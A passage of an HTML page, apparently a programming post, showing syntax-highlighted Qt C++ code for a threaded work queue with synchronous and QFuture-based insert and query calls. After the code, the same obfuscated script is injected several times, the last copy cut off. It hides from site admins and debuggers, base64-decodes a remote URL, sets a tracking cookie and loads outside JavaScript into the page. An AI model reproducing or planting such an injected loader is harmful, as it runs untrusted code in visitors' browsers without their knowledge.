        <span style="color: #800080;">:</span> <span style="color: #603000;">QThread</span><span style="color: #808030;">(</span>parent<span style="color: #808030;">)</span><span style="color: #808030;">,</span> m_running<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">false</span><span style="color: #808030;">)</span> <span style="color: #800080;">{</span> <span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">void</span> run<span style="color: #808030;">(</span><span style="color: #808030;">)</span> Q_DECL_OVERRIDE<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> pushWork<span style="color: #808030;">(</span>WorkplaceWork <span style="color: #808030;">*</span>a_work<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    <span style="color: #603000;">QStack</span><span style="color: #800080;">&lt;</span>WorkplaceWork<span style="color: #808030;">*</span><span style="color: #800080;">&gt;</span> m_ongoing<span style="color: #800080;">;</span>
    <span style="color: #603000;">QMutex</span> m_mutex<span style="color: #800080;">;</span>
    <span style="color: #603000;">QWaitCondition</span> m_waitCondition<span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">bool</span> m_running<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">class</span> Workplace<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span> <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">explicit</span> Workplace<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>a_parent<span style="color: #808030;">=</span><span style="color: #008c00;">0</span><span style="color: #808030;">)</span> <span style="color: #800080;">:</span> <span style="color: #603000;">QObject</span> <span style="color: #808030;">(</span>a_parent<span style="color: #808030;">)</span> <span style="color: #800080;">{</span><span style="color: #800080;">}</span>
    <span style="color: #800000; font-weight: bold;">bool</span> insert<span style="color: #808030;">(</span><span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">int</span><span style="color: #800080;">&gt;</span> a_values<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QStringList</span><span style="color: #800080;">&gt;</span> query<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_param<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">bool</span><span style="color: #800080;">&gt;</span> insertAsync<span style="color: #808030;">(</span><span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">int</span><span style="color: #800080;">&gt;</span> a_values<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #603000;">QFuture</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QStringList</span><span style="color: #800080;">&gt;</span> <span style="color: #800080;">&gt;</span> queryAsync<span style="color: #808030;">(</span><span style="color: #800000; font-weight: bold;">const</span> <span style="color: #603000;">QString</span> <span style="color: #808030;">&amp;</span>a_param<span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    WorkplaceWorker m_worker<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">class</span> App<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QObject</span> <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public slots</span><span style="color: #e34adc;">:</span>
    <span style="color: #800000; font-weight: bold;">void</span> perform<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
    <span style="color: #800000; font-weight: bold;">void</span> onFinished<span style="color: #808030;">(</span><span style="color: #808030;">)</span><span style="color: #800080;">;</span>
<span style="color: #800000; font-weight: bold;">private</span><span style="color: #e34adc;">:</span>
    Workplace m_workplace<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span><span style="color: #800080;">;</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">endif</span><span style="color: #696969;">// Workplace_H</span></pre>
<p>workplace.cpp</p>
<pre style='color:#000000;background:#ffffff;'><span style='color:#004a43; '>#</span><span style='color:#004a43; '>include </span><span style='color:#800000; '>"</span><span style='color:#40015a; '>workplace.h</span><span style='color:#800000; '>"</span>

<span style='color:#800000; font-weight:bold; '>void</span> App<span style='color:#800080; '>::</span>onFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>static_cast</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span><span style='color:#808030; '>*</span> <span style='color:#800080; '>></span> <span style='color:#808030; '>(</span> sender<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>delete</span> watcher<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#800000; font-weight:bold; '>void</span> App<span style='color:#800080; '>::</span>perform<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    <span style='color:#800000; font-weight:bold; '>for</span> <span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>int</span> i<span style='color:#808030; '>=</span><span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span> i<span style='color:#808030; '>&lt;</span><span style='color:#008c00; '>10</span><span style='color:#800080; '>;</span> i<span style='color:#808030; '>+</span><span style='color:#808030; '>+</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
       <span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>int</span><span style='color:#800080; '>></span> vals<span style='color:#800080; '>;</span>
       vals<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#008c00; '>1</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       vals<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#008c00; '>2</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span> <span style='color:#808030; '>*</span>watcher <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span><span style='color:#800080; '>;</span>
       <span style='color:#400000; '>connect</span> <span style='color:#808030; '>(</span>watcher<span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span><span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span><span style='color:#800080; '>::</span>finished<span style='color:#808030; '>,</span> <span style='color:#800000; font-weight:bold; '>this</span><span style='color:#808030; '>,</span> <span style='color:#808030; '>&amp;</span>App<span style='color:#800080; '>::</span>onFinished<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       watcher<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>setFuture<span style='color:#808030; '>(</span> m_workplace<span style='color:#808030; '>.</span>insertAsync<span style='color:#808030; '>(</span> vals <span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>

    <span style='color:#800000; font-weight:bold; '>for</span> <span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>int</span> i<span style='color:#808030; '>=</span><span style='color:#008c00; '>0</span><span style='color:#800080; '>;</span> i<span style='color:#808030; '>&lt;</span><span style='color:#008c00; '>10</span><span style='color:#800080; '>;</span> i<span style='color:#808030; '>+</span><span style='color:#808030; '>+</span><span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
       <span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>int</span><span style='color:#800080; '>></span> vals<span style='color:#800080; '>;</span>
       vals<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#008c00; '>1</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       vals<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#008c00; '>2</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       <span style='color:#400000; '>qWarning</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>&lt;</span><span style='color:#808030; '>&lt;</span> m_workplace<span style='color:#808030; '>.</span>insert<span style='color:#808030; '>(</span> vals <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
       <span style='color:#400000; '>qWarning</span><span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>&lt;</span><span style='color:#808030; '>&lt;</span> m_workplace<span style='color:#808030; '>.</span>query<span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>test</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
<span style='color:#800080; '>}</span>

<span style='color:#800000; font-weight:bold; '>void</span> WorkplaceWorker<span style='color:#800080; '>::</span>pushWork<span style='color:#808030; '>(</span>WorkplaceWork <span style='color:#808030; '>*</span>a_work<span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    <span style='color:#800000; font-weight:bold; '>if</span> <span style='color:#808030; '>(</span><span style='color:#808030; '>!</span>m_running<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        start<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>

    m_mutex<span style='color:#808030; '>.</span>lock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>switch</span> <span style='color:#808030; '>(</span>a_work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
    <span style='color:#800000; font-weight:bold; '>case </span><span style='color:#7d0045; '>WT_QUERY</span><span style='color:#e34adc; '>:</span>
        m_ongoing<span style='color:#808030; '>.</span>push_front<span style='color:#808030; '>(</span> a_work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>break</span><span style='color:#800080; '>;</span>
<span style='color:#e34adc; '>&#xa0;&#xa0;&#xa0;&#xa0;</span><span style='color:#800000; font-weight:bold; '>default</span><span style='color:#e34adc; '>:</span>
        m_ongoing<span style='color:#808030; '>.</span>push_back<span style='color:#808030; '>(</span> a_work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    m_waitCondition<span style='color:#808030; '>.</span>wakeAll<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_mutex<span style='color:#808030; '>.</span>unlock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#800000; font-weight:bold; '>void</span> WorkplaceWorker<span style='color:#800080; '>::</span>run<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    m_mutex<span style='color:#808030; '>.</span>lock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_running <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>true</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>while</span> <span style='color:#808030; '>(</span> m_running <span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        m_mutex<span style='color:#808030; '>.</span>unlock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        m_mutex<span style='color:#808030; '>.</span>lock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>if</span> <span style='color:#808030; '>(</span> m_ongoing<span style='color:#808030; '>.</span>isEmpty<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
            m_waitCondition<span style='color:#808030; '>.</span>wait<span style='color:#808030; '>(</span><span style='color:#808030; '>&amp;</span>m_mutex<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800080; '>}</span>
        WorkplaceWork <span style='color:#808030; '>*</span>work <span style='color:#808030; '>=</span> m_ongoing<span style='color:#808030; '>.</span>pop<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        m_mutex<span style='color:#808030; '>.</span>unlock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>

        <span style='color:#696969; '>// Do work here and report progress</span>
        sleep<span style='color:#808030; '>(</span><span style='color:#008c00; '>1</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>

        <span style='color:#800000; font-weight:bold; '>switch</span> <span style='color:#808030; '>(</span>work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type<span style='color:#808030; '>)</span> <span style='color:#800080; '>{</span>
        <span style='color:#800000; font-weight:bold; '>case </span><span style='color:#7d0045; '>WT_QUERY</span><span style='color:#e34adc; '>:</span> <span style='color:#800080; '>{</span>
            <span style='color:#696969; '>// Report result here</span>
            <span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QStringList</span><span style='color:#800080; '>></span> result<span style='color:#800080; '>;</span>
            <span style='color:#603000; '>QStringList</span> row<span style='color:#800080; '>;</span>
            row<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>abc</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span> row<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span><span style='color:#800000; '>"</span><span style='color:#0000e6; '>def</span><span style='color:#800000; '>"</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            result<span style='color:#808030; '>.</span>append<span style='color:#808030; '>(</span>row<span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>queryIface<span style='color:#808030; '>.</span>reportFinished<span style='color:#808030; '>(</span> <span style='color:#808030; '>&amp;</span>result <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            <span style='color:#800080; '>}</span> <span style='color:#800000; font-weight:bold; '>break</span><span style='color:#800080; '>;</span>

        <span style='color:#800000; font-weight:bold; '>case </span><span style='color:#7d0045; '>WT_INSERTS</span><span style='color:#e34adc; '>:</span>
<span style='color:#e34adc; '>&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;&#xa0;</span><span style='color:#800000; font-weight:bold; '>default</span><span style='color:#e34adc; '>:</span> <span style='color:#800080; '>{</span>
            <span style='color:#696969; '>// Report result here</span>
            <span style='color:#800000; font-weight:bold; '>bool</span> result <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>true</span><span style='color:#800080; '>;</span>
            work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>insertIface<span style='color:#808030; '>.</span>reportFinished<span style='color:#808030; '>(</span> <span style='color:#808030; '>&amp;</span>result <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
            <span style='color:#800080; '>}</span> <span style='color:#800000; font-weight:bold; '>break</span><span style='color:#800080; '>;</span>
        <span style='color:#800080; '>}</span>

        m_mutex<span style='color:#808030; '>.</span>lock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
        <span style='color:#800000; font-weight:bold; '>delete</span> work<span style='color:#800080; '>;</span>
    <span style='color:#800080; '>}</span>
    m_mutex<span style='color:#808030; '>.</span>unlock<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#800000; font-weight:bold; '>bool</span> Workplace<span style='color:#800080; '>::</span>insert<span style='color:#808030; '>(</span><span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>int</span><span style='color:#800080; '>></span> a_values<span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    WorkplaceWork <span style='color:#808030; '>*</span>work <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> WorkplaceWork<span style='color:#800080; '>;</span><span style='color:#800080; '>;</span>
    <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span> watcher<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type <span style='color:#808030; '>=</span> WT_INSERTS<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>values <span style='color:#808030; '>=</span> a_values<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>insertIface<span style='color:#808030; '>.</span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    watcher<span style='color:#808030; '>.</span>setFuture <span style='color:#808030; '>(</span> work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>insertIface<span style='color:#808030; '>.</span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_worker<span style='color:#808030; '>.</span>pushWork<span style='color:#808030; '>(</span> work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    watcher<span style='color:#808030; '>.</span>waitForFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>return</span> watcher<span style='color:#808030; '>.</span>result<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QStringList</span><span style='color:#800080; '>></span> Workplace<span style='color:#800080; '>::</span>query<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>const</span> <span style='color:#603000; '>QString</span> <span style='color:#808030; '>&amp;</span>a_param<span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    WorkplaceWork <span style='color:#808030; '>*</span>work <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> WorkplaceWork<span style='color:#800080; '>;</span>
    <span style='color:#603000; '>QFutureWatcher</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QStringList</span><span style='color:#800080; '>></span> <span style='color:#800080; '>></span> watcher<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type <span style='color:#808030; '>=</span> WT_QUERY<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>query <span style='color:#808030; '>=</span> a_param<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>queryIface<span style='color:#808030; '>.</span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    watcher<span style='color:#808030; '>.</span>setFuture <span style='color:#808030; '>(</span> work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>queryIface<span style='color:#808030; '>.</span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span> <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_worker<span style='color:#808030; '>.</span>pushWork<span style='color:#808030; '>(</span> work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    watcher<span style='color:#808030; '>.</span>waitForFinished<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>return</span> watcher<span style='color:#808030; '>.</span>result<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span> Workplace<span style='color:#800080; '>::</span>insertAsync<span style='color:#808030; '>(</span><span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>int</span><span style='color:#800080; '>></span> a_values<span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    WorkplaceWork <span style='color:#808030; '>*</span>work <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> WorkplaceWork<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type <span style='color:#808030; '>=</span> WT_INSERTS<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>values <span style='color:#808030; '>=</span> a_values<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>insertIface<span style='color:#808030; '>.</span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span><span style='color:#800000; font-weight:bold; '>bool</span><span style='color:#800080; '>></span> future <span style='color:#808030; '>=</span> work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>insertIface<span style='color:#808030; '>.</span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_worker<span style='color:#808030; '>.</span>pushWork<span style='color:#808030; '>(</span> work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>return</span> future<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>

<span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QStringList</span><span style='color:#800080; '>></span> <span style='color:#800080; '>></span> Workplace<span style='color:#800080; '>::</span>queryAsync<span style='color:#808030; '>(</span><span style='color:#800000; font-weight:bold; '>const</span> <span style='color:#603000; '>QString</span> <span style='color:#808030; '>&amp;</span>a_param<span style='color:#808030; '>)</span>
<span style='color:#800080; '>{</span>
    WorkplaceWork <span style='color:#808030; '>*</span>work <span style='color:#808030; '>=</span> <span style='color:#800000; font-weight:bold; '>new</span> WorkplaceWork<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>type <span style='color:#808030; '>=</span> WT_QUERY<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>query <span style='color:#808030; '>=</span> a_param<span style='color:#800080; '>;</span>
    work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>queryIface<span style='color:#808030; '>.</span>reportStarted<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#603000; '>QFuture</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QList</span><span style='color:#800080; '>&lt;</span><span style='color:#603000; '>QStringList</span><span style='color:#800080; '>></span> <span style='color:#800080; '>></span> future <span style='color:#808030; '>=</span> work<span style='color:#808030; '>-</span><span style='color:#808030; '>></span>queryIface<span style='color:#808030; '>.</span>future<span style='color:#808030; '>(</span><span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    m_worker<span style='color:#808030; '>.</span>pushWork<span style='color:#808030; '>(</span> work <span style='color:#808030; '>)</span><span style='color:#800080; '>;</span>
    <span style='color:#800000; font-weight:bold; '>return</span> future<span style='color:#800080; '>;</span>
<span style='color:#800080; '>}</span>
</pre>
<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 